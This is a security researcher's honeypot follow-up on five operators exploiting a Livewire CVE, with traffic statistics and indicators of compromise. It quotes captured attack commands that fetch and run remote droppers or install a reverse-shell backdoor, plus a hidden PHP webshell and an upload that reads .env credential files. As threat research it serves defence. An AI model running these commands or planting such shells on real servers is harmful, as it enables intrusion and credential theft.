I left livewire-honeypot running after the first writeup. That post covered the first 60 hours: one Indonesian operator, one credential-harvesting dropper pointed at xantibot[.]pw. Five weeks later the trap has logged 30,811 requests from 3,628 IPs and detonated 575 payloads. More interesting than the volume: the one xantibot campaign from the first post turned out to be five separate operators, all coming through the same CVE and the same /livewire/message endpoint, all after different things.

The traffic

veritron.space (the fake Veritron Systems heat-shield contractor from the first post) has been online since May 13. As of this morning:

• 30,811 HTTP requests, 27,815 of them after the first writeup
• 3,628 unique source IPs
• 656 requests carrying a CVE-2025-54068 gadget chain. The first post caught one.
• 696 unique payloads (324 serialized PHP gadget chains after SHA-256 dedup, the rest probes and uploads), 575 sandbox detonations
• still live: 147 exploit hits in the last seven days, the most recent gadget chain at 2026-06-19 13:04 UTC

The exploit traffic held more or less steady the whole time. Gadget chains per week since deploy:

Five operators, one endpoint

Every chain arrives the same way: Livepyre, or a Livepyre-shaped client, commits a PHP property-oriented chain whose terminal system() call runs a shell command. The command is where the operators diverge. Deduped by what they actually do, there are five.

xantibot.pw: grab the credentials, leave.

(curl -skfsSL https://xantibot[.]pw/database-sell/shoc.sh | tr -d '\r' | bash >/dev/null 2>&1 &); id

The one from the first post. Download shoc.sh, sweep the disk for .env and wp-config.php, exfiltrate database credentials and Laravel APP_KEYs to a hardcoded Telegram bot and a DigitalOcean Spaces bucket, leave no foothold. It's still running. Two source IPs now: the original Indonesian mobile IP 140.213.220.239 (XL Axiata) and a new 103.93.93.129 (also Indonesia), both delivering the byte-identical dropper, mid-May.

A Perl shellbot: recruit the host.

wget -qO - 160.191.54.23/goal.pl|perl ; curl -s 160.191.54.23/goal.pl|perl

A Perl script piped straight into perl, wget first with a curl fallback. goal.pl is a classic Perl shellbot, the IRC-controlled flood-and-scan bots that have been recruiting compromised hosts for twenty years. One operator (81.18.221.21, a Polish Play mobile IP) on June 7, the chain replicated across every form parameter, so it lands as 24 stored variants from a single run. The goal.pl host is a Vietnamese VPS. Biggest single delivery in the whole window.

gsocket.io: a quiet, persistent backdoor.

curl -fsSL https://gsocket.io/x | bash

gsocket.io/x is the official one-line installer for the Global Socket Toolkit: gs-netcat, an encrypted reverse shell that pierces NAT through THC's global relay network and survives reboots. The opposite of xantibot: persistent access instead of a smash-and-grab. Source 139.59.121.221 (DigitalOcean), also June 7. Same day as the Perl bot, different IP.

re.sh: drop a webshell.

curl --insecure -fsSL http://116.202.101.219:8080/get/ppMwk/re.sh | bash

Fetches re.sh from a Hetzner box on port 8080 and, in the same payload, carries a base64-encoded PHP webshell gated on a $_REQUEST parameter. A foothold reachable through the web server. May 30, low volume.

OAST callbacks: nobody's home.

curl -m 4 -fsS http://<token>.oast.fun/?q=<token>

Out-of-band callbacks to oast.fun / oast.pro / oast.me, the interactsh infrastructure that nuclei and Burp Collaborator use. No second stage, no dropper. These are scanners and researchers confirming the bug fires before deciding whether to commit. Three source IPs across May. Worth separating out: a real fraction of "exploitation" against any fresh CVE is just people checking that it's real.

What the uploads carried

The sandbox detonates every gadget chain in a container with --network=none, so the curl … | bash second stages (shoc.sh, goal.pl, re.sh) never download. The chains fire, PHP exits clean, and the download dies there: no route out. I can't show you what those scripts do from the trap alone. That would mean pulling them off the C2s, which I haven't.

What the trap does have is the payloads that carry their malware inline. The upload surface caught one PHP command shell over and over, the same design across several deliveries:

<?php if(!isset($_REQUEST["qbtxl"])){header("HTTP/1.1 404 Not Found");exit;}
echo "LP_c817f1";
$c=$_REQUEST["qbtxl"];
@system($c); … @passthru($c); … @shell_exec($c); … @exec($c,$a); … `$c`; … proc_open($c,…); … popen(…);

It returns a flat 404 unless the request carries a secret parameter, so a casual probe sees nothing. Given the parameter, it runs the attacker's command through every exec primitive PHP has, in fallback order, until one isn't disabled: system, passthru, shell_exec, exec, backticks, proc_open, popen. Each copy echoes a unique marker (LP_c817f1, LP_f00445, LP_159202) and reads from a different parameter name (qbtxl, ixvie, qsuel). Some are prefixed /* PNG */ to survive an image-upload filter.

One delivery wrapped it in a PHAR: a test.phar with __HALT_COMPILER() and a serialized Illuminate\Broadcasting\BroadcastEvent chain (the same Laravel gadget as the Livewire payloads, reached through PHAR deserialization instead of the snapshot path) whose system() runs id; uname -a; curl … re.sh | bash and then writes the webshell to disk from an embedded base64 blob.

A simpler upload skips the shell and just reads the prize:

<?php echo file_get_contents(dirname(__FILE__,6).'/.env')
  .'|||'.file_get_contents('/var/www/html/.env')
  .'|||'.file_get_contents('/proc/self/cwd/.env'); ?>

Underneath all of it is the generic scanner floor: upload probes that echo a marker for some other product's RCE and delete themselves, like Workreap (CVE-2021-24499), Kaswara (CVE-2021-24284), PHPUnit (CVE-2017-9841), PHP-CGI (CVE-2024-4577). None of them Livewire. They're mass scanners spraying every upload endpoint on the internet, and a fresh host catches all of them: the crews working this CVE and the crews working a dozen others.

xantibot is still running

The C2 from the first post hasn't moved. xantibot[.]pw still resolves to 47.129.100.149, AWS EC2 in Singapore (ec2-47-129-100-149.ap-southeast-1.compute.amazonaws.com), not the Alibaba Cloud I called it the first time around. urlscan.io now has 35 records referencing it, up from 30, with new victim hosts since I published: app.aberdeenlife.net (May 20), apps.1step2hope.org (May 26), mobile.justdrivepa.com (May 30), a RuneScape typosquat (June 7), and mundonegocios.cl yesterday. The domain now serves a polished fake "bot detection" SaaS page over the same box.

IOCs

Droppers (defanged):
  hxxps://xantibot[.]pw/database-sell/shoc[.]sh         credential / DB harvester
  hxxp://160.191.54.23/goal[.]pl                        Perl shellbot
  hxxps://gsocket[.]io/x                                gs-netcat backdoor installer (legitimate tool, abused)
  hxxp://116.202.101.219:8080/get/ppMwk/re[.]sh         PHP webshell dropper

C2 / payload hosts:
  xantibot[.]pw          47.129.100.149    AWS EC2, Singapore (ap-southeast-1)
  160.191.54.23                            VPSTTT, Vietnam (AS150862) — goal.pl host
  116.202.101.219                          Hetzner, Germany — webshell host

Operator source IPs (CVE-2025-54068 delivery):
  140.213.220.239        XL Axiata, Indonesia (AS24203)        xantibot (from the first post)
  103.93.93.129          PT Jinde Grup, Indonesia (AS141140)   xantibot (new)
  81.18.221.21           Play / P4, Poland (AS9141)            Perl shellbot
  139.59.121.221         DigitalOcean, Singapore (AS14061)     gsocket

Exploit:
  CVE-2025-54068 via Livepyre, system() with non-default argument